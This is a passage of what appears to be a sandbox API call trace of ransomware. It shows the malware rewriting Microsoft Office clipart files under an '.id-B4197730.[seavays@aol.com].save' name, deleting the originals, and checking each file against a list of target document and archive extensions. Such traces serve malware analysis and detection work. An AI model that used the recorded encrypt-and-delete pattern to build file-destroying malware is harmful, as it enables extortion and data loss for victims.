[0075.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.696] GetLastError () returned 0x0 [0075.696] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x61c, lpOverlapped=0x0) returned 1 [0075.698] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x620, lpOverlapped=0x0) returned 1 [0075.699] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.699] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.699] SetEndOfFile (hFile=0x368) returned 1 [0075.699] CloseHandle (hObject=0x368) returned 1 [0075.699] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.699] SetEndOfFile (hFile=0x38c) returned 1 [0075.700] CloseHandle (hObject=0x38c) returned 1 [0075.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0075.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0075.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0075.701] lstrlenW (lpString=".doc") returned 4 [0075.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.701] lstrlenW (lpString=".docx") returned 5 [0075.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.701] lstrlenW (lpString=".pdf") returned 4 [0075.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.701] lstrlenW (lpString=".xls") returned 4 [0075.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.701] lstrlenW (lpString=".xlsx") returned 5 [0075.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.701] lstrlenW (lpString=".ppt") returned 4 [0075.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0075.702] lstrlenW (lpString=".zip") returned 4 [0075.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.702] lstrlenW (lpString=".rar") returned 4 [0075.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.702] lstrlenW (lpString=".bz2") returned 4 [0075.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.702] lstrlenW (lpString=".7z") returned 3 [0075.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0075.702] lstrlenW (lpString=".dbf") returned 4 [0075.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0075.702] lstrlenW (lpString=".1cd") returned 4 [0075.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0075.702] lstrlenW (lpString=".jpg") returned 4 [0075.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.703] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.703] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.703] GetLastError () returned 0x0 [0075.703] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1234, lpOverlapped=0x0) returned 1 [0075.705] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1240, lpOverlapped=0x0) returned 1 [0075.706] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.706] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.706] SetEndOfFile (hFile=0x368) returned 1 [0075.706] CloseHandle (hObject=0x368) returned 1 [0075.706] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.706] SetEndOfFile (hFile=0x38c) returned 1 [0075.707] CloseHandle (hObject=0x38c) returned 1 [0075.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0075.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0075.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0075.708] lstrlenW (lpString=".doc") returned 4 [0075.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.708] lstrlenW (lpString=".docx") returned 5 [0075.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.708] lstrlenW (lpString=".pdf") returned 4 [0075.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.708] lstrlenW (lpString=".xls") returned 4 [0075.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.708] lstrlenW (lpString=".xlsx") returned 5 [0075.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.708] lstrlenW (lpString=".ppt") returned 4 [0075.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0075.708] lstrlenW (lpString=".zip") returned 4 [0075.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.709] lstrlenW (lpString=".rar") returned 4 [0075.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.709] lstrlenW (lpString=".bz2") returned 4 [0075.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.709] lstrlenW (lpString=".7z") returned 3 [0075.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0075.709] lstrlenW (lpString=".dbf") returned 4 [0075.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0075.709] lstrlenW (lpString=".1cd") returned 4 [0075.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0075.709] lstrlenW (lpString=".jpg") returned 4 [0075.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.710] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.710] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0075.711] GetLastError () returned 0x0 [0075.711] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xf94, lpOverlapped=0x0) returned 1 [0076.016] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0076.017] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.017] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.017] SetEndOfFile (hFile=0x368) returned 1 [0076.018] CloseHandle (hObject=0x368) returned 1 [0076.018] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.018] SetEndOfFile (hFile=0x38c) returned 1 [0076.019] CloseHandle (hObject=0x38c) returned 1 [0076.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0076.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0076.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0076.020] lstrlenW (lpString=".doc") returned 4 [0076.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.020] lstrlenW (lpString=".docx") returned 5 [0076.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.020] lstrlenW (lpString=".pdf") returned 4 [0076.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.020] lstrlenW (lpString=".xls") returned 4 [0076.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.021] lstrlenW (lpString=".xlsx") returned 5 [0076.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.021] lstrlenW (lpString=".ppt") returned 4 [0076.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0076.021] lstrlenW (lpString=".zip") returned 4 [0076.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.021] lstrlenW (lpString=".rar") returned 4 [0076.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.021] lstrlenW (lpString=".bz2") returned 4 [0076.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.021] lstrlenW (lpString=".7z") returned 3 [0076.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0076.021] lstrlenW (lpString=".dbf") returned 4 [0076.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0076.021] lstrlenW (lpString=".1cd") returned 4 [0076.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0076.021] lstrlenW (lpString=".jpg") returned 4 [0076.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.023] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.023] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.024] GetLastError () returned 0x0 [0076.024] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0076.025] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0076.026] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.026] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.027] SetEndOfFile (hFile=0x368) returned 1 [0076.027] CloseHandle (hObject=0x368) returned 1 [0076.027] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.027] SetEndOfFile (hFile=0x38c) returned 1 [0076.123] CloseHandle (hObject=0x38c) returned 1 [0076.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0076.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0076.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0076.124] lstrlenW (lpString=".doc") returned 4 [0076.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.124] lstrlenW (lpString=".docx") returned 5 [0076.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.125] lstrlenW (lpString=".pdf") returned 4 [0076.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.125] lstrlenW (lpString=".xls") returned 4 [0076.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.125] lstrlenW (lpString=".xlsx") returned 5 [0076.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.125] lstrlenW (lpString=".ppt") returned 4 [0076.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0076.125] lstrlenW (lpString=".zip") returned 4 [0076.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.125] lstrlenW (lpString=".rar") returned 4 [0076.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.125] lstrlenW (lpString=".bz2") returned 4 [0076.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.125] lstrlenW (lpString=".7z") returned 3 [0076.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0076.125] lstrlenW (lpString=".dbf") returned 4 [0076.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0076.125] lstrlenW (lpString=".1cd") returned 4 [0076.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0076.125] lstrlenW (lpString=".jpg") returned 4 [0076.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.144] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.148] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.149] GetLastError () returned 0x0 [0076.149] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0076.150] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x600, lpOverlapped=0x0) returned 1 [0076.151] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.151] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.151] SetEndOfFile (hFile=0x368) returned 1 [0076.151] CloseHandle (hObject=0x368) returned 1 [0076.151] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.151] SetEndOfFile (hFile=0x38c) returned 1 [0076.152] CloseHandle (hObject=0x38c) returned 1 [0076.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0076.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0076.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0076.153] lstrlenW (lpString=".doc") returned 4 [0076.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.153] lstrlenW (lpString=".docx") returned 5 [0076.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.153] lstrlenW (lpString=".pdf") returned 4 [0076.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.154] lstrlenW (lpString=".xls") returned 4 [0076.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.154] lstrlenW (lpString=".xlsx") returned 5 [0076.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.154] lstrlenW (lpString=".ppt") returned 4 [0076.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0076.154] lstrlenW (lpString=".zip") returned 4 [0076.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.154] lstrlenW (lpString=".rar") returned 4 [0076.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.154] lstrlenW (lpString=".bz2") returned 4 [0076.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.154] lstrlenW (lpString=".7z") returned 3 [0076.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0076.154] lstrlenW (lpString=".dbf") returned 4 [0076.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0076.154] lstrlenW (lpString=".1cd") returned 4 [0076.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0076.154] lstrlenW (lpString=".jpg") returned 4 [0076.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.155] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.155] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.156] GetLastError () returned 0x0 [0076.156] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xce2, lpOverlapped=0x0) returned 1 [0076.157] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0076.158] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.158] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.159] SetEndOfFile (hFile=0x368) returned 1 [0076.159] CloseHandle (hObject=0x368) returned 1 [0076.159] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.159] SetEndOfFile (hFile=0x38c) returned 1 [0076.160] CloseHandle (hObject=0x38c) returned 1 [0076.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 